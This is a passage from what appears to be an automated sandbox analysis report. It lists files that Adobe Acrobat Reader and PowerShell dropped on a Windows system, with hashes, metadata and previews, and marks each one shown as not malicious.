SSDEEP:	6:YEQXJ2HXhAxTFPA6YvB3/dVlPIHAR0YkUKAJHWxoAvJfYdPeUkwRe9:YvXKXhAxTBYvR/ZwHATJZGg8Ukee9
MD5:	5BB19C6A28400AD2CC27BAB45AA63BDB
SHA1:	BDF19F2E0DFF188069E0309BD0780E8E21CCFDD6
SHA-256:	2C8C1E7F6E37C2A9ED2A18D3C74820631B12AD2260FA8113CE9FB35C12DEC6B1
SHA-512:	EC77F373B179CB7E0E5AD649090F2BC894D7F4C5A7D376BD859D087456CF9BE403A1FD168952AD6DCFD512E6A4DDA36C90F125837C363F7385986FDB48139B4D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c31eaf5-4618-4fe6-805e-535c8e3eca03","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736706153325,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.237249870289884
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhAxTFPA6YvB3/dVlPIHAR0YkUKAJHWxoAvJf+dPeUkwRe9:YvXKXhAxTBYvR/ZwHATJZG28Ukee9
MD5:	3823D8A1947125FF73887433A397B0F7
SHA1:	249B78FF142CB19CD1A150C01B5C0450F486E385
SHA-256:	1E570CA4E54312C34EC9681633FEF4D96E44C2153F9DF0FC199AD9F01299AD80
SHA-512:	E7549E07F627E86509392D13D128C01BCBC980D55CC9B25D99C9E8CF14423847276C5A6809FC8F6AB6E542C27008BBC23DA8246A6E9A72037A70AF71894B3EEA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c31eaf5-4618-4fe6-805e-535c8e3eca03","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736706153325,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.234844079121561
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhAxTFPA6YvB3/dVlPIHAR0YkUKAJHWxoAvJfbPtdPeUkwRe9:YvXKXhAxTBYvR/ZwHATJZGDV8Ukee9
MD5:	011DEDA2B010178452EC1C6218CEC9D4
SHA1:	C9A2C35F0B0AD79283E3B9F6AEAE61865DE0A4D3
SHA-256:	DF2612DF6B322DB4492640E7BC37865DF393DBEFAF6A58233D4A8B9F2E10C866
SHA-512:	091DA25B292B03873CBFCAE97B4E11C367B6A98682E21A7F4DC23C69D802C54AA056F1204873318A21BB80DAEA56C56E9ECBE06436A0173C113D97F5FA59BEB9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c31eaf5-4618-4fe6-805e-535c8e3eca03","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736706153325,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.233208240647521
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhAxTFPA6YvB3/dVlPIHAR0YkUKAJHWxoAvJf21rPeUkwRe9:YvXKXhAxTBYvR/ZwHATJZG+16Ukee9
MD5:	7B4D367D56D76D1D3F117EC3F4686F05
SHA1:	D752BF73262D783B2F0767A366992331102274DE
SHA-256:	7C2965C4E8FAD8E4F9BE522DE3AF1ACB126AF6DE56EB2BDD6232D87B51C8F3E7
SHA-512:	2E33757CFBACA54169600E5AF45C7D8C4A423B69C5680DABCE96379DAC0E06C4ADF882CD7DF7AB936930727B8423FDF6AF53F38515C4477039A20F538D1F239F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c31eaf5-4618-4fe6-805e-535c8e3eca03","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736706153325,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.661617824384097
Encrypted:	false
SSDEEP:	24:Yv6XhKTBYJhXJiamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSCY:YvWKTBYJhXeBgkDMUJUAh8cvMCY
MD5:	C6D8F2C18B0AFFDCB78C9DA42072E976
SHA1:	27A17C979B11AB69438B756DF8128CC1E24DC38D
SHA-256:	36B7A38239ACBD27A4E6B06D9A81385B753B0BD57DBD9A3EEC4E637A797619DF
SHA-512:	02511590A741BFDB8602039262B588CF5F1AF2710925C98ABBEF05A1BC4EC763E368B13BFE17861DE932BA84C257B51D2D8A8F4E1F746D691B4ED0D0C0E72357
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c31eaf5-4618-4fe6-805e-535c8e3eca03","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736706153325,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.210730215728879
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhAxTFPA6YvB3/dVlPIHAR0YkUKAJHWxoAvJfshHHrPeUkwRe9:YvXKXhAxTBYvR/ZwHATJZGUUUkee9
MD5:	E201F53F74EE625B8CA52007D2E8A0EF
SHA1:	1D0720B6355496B130790E73854803BCC9E01F3A
SHA-256:	CBEDBB80D14B0956F17980C1A300B5CD9084E1A9AFB8C58B33BC5F16516E6418
SHA-512:	D8AC85BF837A4D13A978BBF81A4474C0DBC0E201416619F5E9C12EC8A9F42206217469E05F3F44A146E0E0222E726D28BF0558283A9A6A3BB45BB28D3C276902
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c31eaf5-4618-4fe6-805e-535c8e3eca03","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736706153325,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.232879915306059
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhAxTFPA6YvB3/dVlPIHAR0YkUKAJHWxoAvJTqgFCrPeUkwRe9:YvXKXhAxTBYvR/ZwHATJZGTq16Ukee9
MD5:	F61497E22539D96D3AB2AFF0A85DB168
SHA1:	40C2C1A83872F092F2C86057BEF30FEA7D226BEA
SHA-256:	4F76E4412411CD932A09F56701559A995D5D9DBE60CD00FC4F9268B9C257171E
SHA-512:	E9F6D2285132082FAD4F13B5EC79F5A69649DAF00B0241E8790E8697E85FAF1315385E8E0C7C0F65BC83663369550BDBFA05D6CBCA59061B203E8E2662B6E644
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c31eaf5-4618-4fe6-805e-535c8e3eca03","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736706153325,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.146685013901478
Encrypted:	false
SSDEEP:	48:YmABJ285ZwlOEYb+8QrPTvScYxuMK3C92Y:J8NZaOEq+7rLSBQMKAv
MD5:	DCF63AB4972E9FA581C1A65E0C6EE32E
SHA1:	41BA3D6CC7DD06E703D3A753352A10E88F934F4D
SHA-256:	E208CEC02E9AFF9A78F08AC11CF03C88AFC1B1D25CA32C9F892600CACF2A1503
SHA-512:	4E6D21122502B5A0FDCD20196699084AD0B5DD618E281BCC693DA9B553C2C2762487907B3072F9D8AE61C4F6DAE79B59EF20CFDEDEF8423E50B037912BEBB13F
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"716bdc8dd416a3beece72b1b07479c23","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736528747000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"3e8accb4bc04891a43cc4ba6c27b0e94","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736528747000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"c242484ab6523a91751b842dd87a69b4","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736528747000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"03978a8b0168f514f6543fe2720a8154","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736528747000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"4030482e4552c300a8ba09912825efe1","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736528747000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"f3cf920a2c2197063615f4a43a511299","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3170553005912726
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMe1totqVo:TGufl2GL7ms9WR1CPmPbPahnSypilIFU
MD5:	D0EE788ACA5E1CCA5EC27A62B8498135
SHA1:	411C81EDAB1FCDFB5E79382821F2F38168966431
SHA-256:	93C04E8668385B885FCBC21860CB63AA1AB6448FB4E7C57B67A601C21CFC9D88
SHA-512:	920C46C64803EAD14A5658C65E2C3DBE46BB4327C9C566EF0811035703CBC65BFEA0EC2F96441E48EACD33FD831B7C8ED4DBA80239575292BA2AA8B231D8C37C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.777176888599835
Encrypted:	false
SSDEEP:	24:7+tUlhn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMe1to4qVpaVrScVr0InURqLhn:7MrWR1CPmPbPahnTypilIdqFl2GL7msT
MD5:	1E027415C1309ACDB4A6ADB7C50D6FCD
SHA1:	0D9C903A18CCBBB9F4131B025AE5F4D47879BDC0
SHA-256:	16718A3441F276C03457B6E8AC923F551C65FDE465AD5E78E41ADD22DFC14175
SHA-512:	1B79D8709FDC98D306576EDFDCFEB279DB89D4B32FB72F253496C3A8897F6C00A9884C05AA41D91F607F4AF1744CD08FE46786793C9942F585AC5C7F9A3B417F
Malicious:	false
Preview:	.... .c.....a/m...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEge6ywrDohslgiMPFtveLNkDCYyu:6a6TZ44ADEemTSFleLNkDCK
MD5:	793FB3762BA554B98A328BB4A896D101
SHA1:	F12CA5323914ED1D7D76B2417AE32F05059F2341
SHA-256:	0946E2413C1541DE6DA716E77447E31CC6A943E7D3D1B66C647178D30524BC13
SHA-512:	53015FBB8FCD8FA8810198F416CDC0B8D2B21C60C502FFB264C4285AD6914A6CAA1D82B3CB0DBD5CE8DF137B72C5FB4E077509222483096EB20A83EEF9208E25
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulnsiXz:NllUsiX
MD5:	D664BA2397F45C07CD21EF138C1A4E97
SHA1:	7D74C67DB2C0D62FF3BCAFF13D0F102E94550D30
SHA-256:	1C8181B5C6A049E968ECC6F0CDD6F0962A49AEDC6198892A09B15111900A5151
SHA-512:	5066F8E7285593B4ECBC4B0889C05B7CC71D3FFDA0C1E6CFF1548D04381AD9745034AB2CB0E16D2541EDF1030A4F838BE02C91C3CABCCB949161A4007D724ABC
Malicious:	false
Preview:	@...e...................................3............@..........

C:\Users\user\AppData\Local\Temp\MSI3c667.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.511206980872271
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE3qlND6e:Qw946cPbiOxDlbYnuRK+bD3Av
MD5:	34D581ED354A09DC6677A9AA24236889
SHA1:	4559F2FF478AFE8FEE19161668A70DDF3773CA19
SHA-256:	5929284CF86BDE30876EB15ABA2E7E4621EFC0D4A78BADE639BC75EFBE706AEA
SHA-512:	2A3BDEFF23F0D18E7627791DCD2924DA7D25D6EF1A194E4E19D759CF66D5329A0917AC2BCCFD1FCA12CBD6D1A92BECA63BFB2F00788EBB6E9A4BD9025393EBED
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.2.:.0.5.:.4.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bjv0eo5q.dsw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z5iyw3hl.nt0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 12-05-39-450.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3748334083992
Encrypted:	false
SSDEEP:	384:mTvGXDC2u43XCQmVXlkVlO5OYvAIsVxWcfdhvj8bKjKDhDnqamjWjEjqLJzHWPfR:5AI
MD5:	209C2BCD54CD91A3E699327E2CC4BF68
SHA1:	8D882FC434FB352D40A3F331CFCBFA16E241EC23
SHA-256:	B5A9801C962D8FA349F60EE6A09D933B81CD84D9942D8A6AA4A039BDBCA22308
SHA-512:	48249F1915D69121E629A2E8D09150CA106962CFC5091CF6394FCEE8FF07EF0D59897779FB953F4D9DFECF40AD4B6E2D6ADB65813C3093AF5023ECFFCB324025
Malicious:	false
Preview:	SessionID=4aa8dd09-f1fb-4350-bae2-bcecb560f538.1736528739468 Timestamp=2025-01-10T12:05:39:468-0500 ThreadID=7592 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=4aa8dd09-f1fb-4350-bae2-bcecb560f538.1736528739468 Timestamp=2025-01-10T12:05:39:469-0500 ThreadID=7592 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=4aa8dd09-f1fb-4350-bae2-bcecb560f538.1736528739468 Timestamp=2025-01-10T12:05:39:469-0500 ThreadID=7592 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=4aa8dd09-f1fb-4350-bae2-bcecb560f538.1736528739468 Timestamp=2025-01-10T12:05:39:469-0500 ThreadID=7592 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=4aa8dd09-f1fb-4350-bae2-bcecb560f538.1736528739468 Timestamp=2025-01-10T12:05:39:469-0500 ThreadID=7592 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.4041475358815125
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbFOcb8Iyccbt:ceo4+rsCbNyX
MD5:	73F9AC828FE52AA24BBC804B6C47A94E
SHA1:	4A882250E29722B6E39647D9804F3EA3AC428318
SHA-256:	16107BC2CFFF542B71F0F58C296C9657AD97D92DFA7F07400151ED3FB3FD6437
SHA-512:	E943C903ED80B98C34411E070DE29340086400209CAC4A997F3E4C4C4EFA43F5AE276CC785E74A16D172564234D1AA2BDCCCF9AAFFA822A2680714014B754951
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\01021909-2836-46db-9f09-c695996138ff.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:6DaWL07oSwYIGNPHGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:caWLxSwZGBGZn3mlind9i4ufFXpAXkru
MD5:	83861FA7ACFA3650A6004BB1FDC18F93
SHA1:	441DEF17B266EAFA0777308C02FEEC8272A0E0B8
SHA-256:	1A30A52C3CAA02993AB28CC870EA47311507D0121DD4FC90AE734FA8AC58E867
SHA-512:	E11048B0B5D82D9015F93C9AB36AE4FC2ED72ABE50B27FC982962C9135E5B4EBB90FFD0D555265FBE405AC711D5D44D8B6A658BF9883D017C1E5F53C6CC8EDF8
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\076ddaea-b3d0-46b0-bf06-f0ac225e129a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
